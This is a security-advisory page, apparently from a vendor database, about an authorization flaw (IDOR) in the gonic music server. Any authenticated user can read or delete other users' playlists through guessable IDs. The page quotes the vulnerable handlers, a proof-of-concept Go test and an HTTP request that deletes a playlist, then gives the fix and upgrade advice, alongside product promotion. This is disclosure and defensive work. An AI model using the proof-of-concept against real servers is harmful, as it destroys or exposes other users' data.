GHSA-hmgp-w9jm-vp95 is a high-severity (CVSS 7.1) CWE-285 vulnerability in go.senan.xyz/gonic. O3 Security confirms whether GHSA-hmgp-w9jm-vp95 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Subsonic API: any authenticated user can delete or read any other user's playlist (IDOR)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-hmgp-w9jm-vp95.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-hmgp-w9jm-vp95 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
go.senan.xyz/gonicReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In gonic, the Subsonic API endpoints /rest/deletePlaylist.view and /rest/getPlaylist.view perform no per-resource authorization. Once authenticated as any user (admin or not), an attacker can:
- Delete any playlist owned by any other user (including admin) by passing its
id. - Read the full contents (name, comment, song list) of any other user's private (non-public) playlist by passing its
id.
The Subsonic playlist id is base64url("<userID>/<filename>.m3u"). Because filenames are user-supplied or time-derived and the userID is a small integer, IDs are guessable and frequently exposed (e.g. a previously-public playlist that was later made private still has the same ID).
This breaks the multi-user trust boundary of gonic: a low-privileged user can wipe an administrator's curated playlists, and a user can exfiltrate any private playlist they obtain an ID for.
Status
This was originally disclosed to the maintainer by email and has been fixed in commit 6dd71e6a3c966867ef8c900d359a7df75789f410 (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist, 2026-05-18). The fix has not yet been included in a tagged release; the latest tagged version v0.20.1 is still vulnerable. Filing this advisory now that private vulnerability reporting is enabled on the repo, so the issue has a public record once the next release ships.
Vulnerable code (pre-fix, at v0.20.1 / commit 37090aa7)
Delete IDOR — server/ctrlsubsonic/handlers_playlist.go lines 177-187:
func (c *Controller) ServeDeletePlaylist(r *http.Request) *spec.Response {
params := r.Context().Value(CtxParams).(params.Params)
playlistID, err := params.GetFirstID("id", "playlistId")
if err != nil {
return spec.NewError(10, "please provide an `id` or `playlistId` parameter")
}
if err := c.playlistStore.Delete(playlistIDDecode(playlistID)); err != nil {
return spec.NewError(0, "delete playlist: %v", err)
}
return spec.NewResponse()
}
The handler never loads the playlist to check playlist.UserID == user.ID. Compare to ServeUpdatePlaylist (same file, line 138) which does perform this check.
Read IDOR — server/ctrlsubsonic/handlers_playlist.go lines 51-68:
func (c *Controller) ServeGetPlaylist(r *http.Request) *spec.Response {
params := r.Context().Value(CtxParams).(params.Params)
playlistID, err := params.GetFirstID("id", "playlistId")
if err != nil {
return spec.NewError(10, "please provide an `id` parameter")
}
playlist, err := c.playlistStore.Read(playlistIDDecode(playlistID))
if err != nil {
return spec.NewError(70, "playlist with id %s not found", playlistID)
}
// ... never checks playlist.UserID or playlist.IsPublic ...
sub.Playlist = rendered
return sub
}
The listing endpoint ServeGetPlaylists (line 38) correctly filters by playlist.UserID != user.ID && !playlist.IsPublic, but the singular getPlaylist did not.
Live PoC (passing Go test)
A reproducer against the existing test fixture (server/ctrlsubsonic):
func TestIDOR_DeleteOtherUsersPlaylist(t *testing.T) {
f := newFixture(t)
victimRelPath := filepath.Join("1", "victim-private.m3u")
_ = f.contr.playlistStore.Write(victimRelPath, &playlistp.Playlist{
UserID: f.admin.ID, Name: "victim-private", IsPublic: false,
Items: []string{"/music/foo.flac"},
})
victimID := playlistIDEncode(victimRelPath).String()
// f.alt is a non-admin, non-owner user
body := f.query(t, f.contr.ServeDeletePlaylist, f.alt, url.Values{"id": {victimID}})
// Subsonic returns status="ok" and the file is gone.
}
Test output:
--- PASS: TestIDOR_ReadOtherUsersPrivatePlaylist (0.07s)
--- PASS: TestIDOR_DeleteOtherUsersPlaylist (0.07s)
PASS
ok go.senan.xyz/gonic/server/ctrlsubsonic 0.730s
Equivalent HTTP request
GET /rest/deletePlaylist.view?u=lowpriv&p=lowpriv&v=1&c=poc&f=json&id=cGwtMS1zaGFyZWQubTN1
Response: {"subsonic-response":{"status":"ok","version":"..."}} — playlist is gone.
Impact
- Integrity / Availability: low-privileged users can delete any other user's playlists, including admin's curated lists. There is no undo.
- Confidentiality: private playlists (including their comment fields) are readable by any authenticated user with an ID. IDs are predictable (
base64("<smallUserID>/<name>.m3u")) and previously-public IDs persist after being marked private. - Trust boundary: gonic supports multiple users (
createUser, non-admin role). This bug collapsed the user-to-user authorization model.
Affected versions
Latest tagged release v0.20.1 and all prior versions back to when the playlist M3U store was introduced. Master HEAD is fixed at commit 6dd71e6a3c966867ef8c900d359a7df75789f410.
Suggested patch (applied by maintainer in 6dd71e6)
Load the playlist first and enforce ownership in both handlers:
// ServeGetPlaylist
if playlist.UserID != user.ID && !playlist.IsPublic {
return spec.NewError(50, "you aren't allowed to read that user's playlist")
}
// ServeDeletePlaylist
if playlist.UserID != 0 && playlist.UserID != user.ID {
return spec.NewError(50, "you aren't allowed to delete that user's playlist")
}
This mirrors the existing ownership check already present in ServeCreateOrUpdatePlaylist (line 84) and ServeUpdatePlaylist (line 138).
Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | go.senan.xyz/gonic | all versions | 0.21.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for go.senan.xyz/gonic. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update go.senan.xyz/gonic to 0.21.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hmgp-w9jm-vp95 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hmgp-w9jm-vp95 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hmgp-w9jm-vp95. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hmgp-w9jm-vp95 in your dependencies?
O3 detects GHSA-hmgp-w9jm-vp95 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.